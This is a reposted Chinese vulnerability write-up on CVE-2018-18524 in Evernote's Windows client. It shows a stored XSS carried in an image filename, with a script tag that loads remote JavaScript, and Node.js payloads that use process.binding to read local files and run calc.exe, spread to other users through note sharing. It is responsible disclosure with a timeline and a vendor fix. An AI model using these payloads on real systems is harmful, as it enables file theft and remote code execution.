印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析

栏目: Node.js · 发布时间: 5年前

内容简介:2018/09/20 ,我当时的同事印象笔记 Windows 客户端 6.14 版本修复了一个储存型 XSS。由于只修复了 XSS 的入口点而没有在出口处添加过滤,导致攻击者可以在 6.14 版本的客户端中生成储存型 XSS并在 6.15 版本中触发。

0×00 前言

2018/09/20 ,我当时的同事 @sebao 告诉我印象笔记修复了他的XSS漏洞并登上了名人堂,碰巧国庆的时候考古过几个客户端 XSS 导致命令执行的案例,就想在印象笔记客户端也寻找一下类似的问题。在之后的测试过程中,我不仅发现原本的XSS修复方案存在漏洞、利用这个XSS漏洞实现了本地文件读取和远程命令执行,还通过分享笔记的功能实现了远程攻击。

0×01 漏洞简介

印象笔记 Windows 客户端 6.14 版本修复了一个储存型 XSS。

由于只修复了 XSS 的入口点而没有在出口处添加过滤,导致攻击者可以在 6.14 版本的客户端中生成储存型 XSS并在 6.15 版本中触发。

印象笔记的展示模式是使用 NodeWebKit 实现的,通过储存型 XSS 可以在展示模式下注入 Nodejs 代码。

经过各种尝试,最终通过注入的 Nodejs 代码实现了本地文件读取和远程命令执行。

0×02 印象笔记 Windows 客户端 6.14 储存型 XSS 漏洞

@sebao 发现的储存型 XSS 漏洞的触发方式如下: 1. 在笔记中添加一张图片 2. 右键并将该图片更名为” onclick=”alert(1)”>.jpg”3. 双击打开该笔记并点击图片,成功弹框。

印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析

印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析

经过测试,印象笔记官方修复该 XSS 的方式为:在更名处过滤了>、<、”等特殊字符,但有意思的是我在 6.14 版本下测试的 XSS 在6.15 版本中依旧可以弹框,这也就意味着:官方只修了 XSS 的入口,在 XSS 的输出位置,依旧是没有任何过滤的。

0×03 演示模式下的 Nodejs 代码注入

XSS 修复方案存在漏洞并不能算是一个很严重的安全问题,所以我决定深入挖掘一下其他的漏洞,比如本地文件读取或者远程命令执行。为了方便测试,我在 6.14 版本的客户端中将一张图片更名为” onclick=”alert(1)”><scriptsrc=” http://172.16.4.1:8000/1.js “>.jpg后,将客户端升级为最新版 6.15。

我测试了一些特殊的API,例如evernote.openAttachment、goog.loadModuleFromUrl,但是没有显著的收获。所以我转换了思路,遍历C:\\Program Files(x86)\Evernote\Evernote\目录下的所有文件。我发现印象笔记在C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit目录下存在NodeWebKit,在演示的时候,印象笔记会调用这个NodeWebKit。

一个更好的消息是我可以通过之前发现的储存型 XSS 在NodeWebKit中执行Nodejs代码。

印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析

0×04 本地文件读取 和 远程命令执行的实现

既然可以注入Nodejs代码,那就意味着我可以尝试使用child_process来执行任意命令。

我尝试使用require(‘child_process’).exec,但是却报错了:Module name “child_process” has not been loaded yet forcontext。

印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析

这个错误并没有浇灭我刚发现Nodejs代码注入的激情,我在查阅各种资料尝试解决/绕过 这个问题。最终,我发现了前人的足迹: Howwe exploited a remote code execution vulnerability in math.js

根据文中的内容,简单的修改读取本地文件的 payload 很快就实现了相应的功能:

alert("Tryto read C:\\\\Windows\\win.ini");

try{

var buffer = new Buffer(8192);

process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini',0, 0600), buffer, 0, 4096);

alert(buffer);

}

catch(err){

alert(err);

}

但是在尝试远程命令执行的时候,我遇到了一些问题。由于并不了解Nodejs,所以我不知道为什么NodeWebkit中没有Object和Array,也不知道如何解决这个问题。我听取了文中的建议,尝试去理解 child_process 的源码 ,并且查找spawn_sync相关的用法。

最终,我从window.process.env中获取到env的内容,并使用spawn_sync成功地弹出了计算器。

// commandexecuted

try{

spawn_sync = process.binding('spawn_sync');

envPairs = [];

for (var key in window.process.env) {

envPairs.push(key + '=' +window.process.env[key]);

}

args = [];

const options = {

file: 'C:\\\\Windows\\system32\\calc.exe',

args: args,

envPairs: envPairs,

stdio: [

{ type: 'pipe', readable: true, writable:false },

{ type: 'pipe', readable: false,writable: true },

{ type: 'pipe', readable: false,writable: true }

]

};

spawn_sync.spawn(options);

}

catch(err){

alert(err);

}

0×05 通过分享功能攻击其他用户

在我实现了本地文件读取和本机命令执行后,黑哥提出了一个更高的要求:证明这个漏洞可以影响到其他用户。

在注册了一个小号后,我尝试使用分享功能将恶意笔记分享给 ”他人“。

印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析

我的小号将会在工作空间收到别人发来的消息。

印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析

我的小号尝试演示这个笔记,被注入的Nodejs代码成功执行!

0×06 感谢

感谢 黑哥 在漏洞发现和上报过程中的耐心指导和严格要求。

感谢我的前404同事sebao跟我分享了他发现的 XSS 漏洞细节。

感谢 How we exploited a remote code execution vulnerability in math.js 的作者、 【技术分享】从PouchDB 到RCE: 一个node.js 注入向量 的原文作者、中文译者,这些优秀的文章为我提供了巨大的帮助。

0×07 时间线

2018/09/27 ,发现相关漏洞,攥写报告并发送至security@evernote.com。

2018/09/27,官方确认漏洞

2018/10/15,官方在 beta 版本6.16.1 https://discussion.evernote.com/topic/116650-evernote-for-windows-616-beta-1/ 中修复相关漏洞,并将我的名字加入名人堂。

2018/10/19,在和官方沟通后,自行申请CVE,编号为:CVE-2018-18524

2018/11/05,Evernote 官方发布 正式版本6.16.4,确认该漏洞被修复后公开漏洞细节。

*本文作者:Knownsec知道创宇,转载请注明来自FreeBuf.COM


以上所述就是小编给大家介绍的《印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

群智能优化算法及其应用

群智能优化算法及其应用

雷秀娟 / 2012-8 / 85.00元

《群智能优化算法及其应用》编著者雷秀娟。 《群智能优化算法及其应用》内容提要:本书以群智能优化算法中的粒子群优化(]Particle Swarm Optimization,PSO)算法为主线,着重阐述了PSO算法的基本原理、改进策略,从解空间设计、粒子编码以及求解流程等方面进行了详细设计与阐述,对蚁群优化(Ant Colony Optimization,AC0)算法、人工鱼群(Art......一起来看看 《群智能优化算法及其应用》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换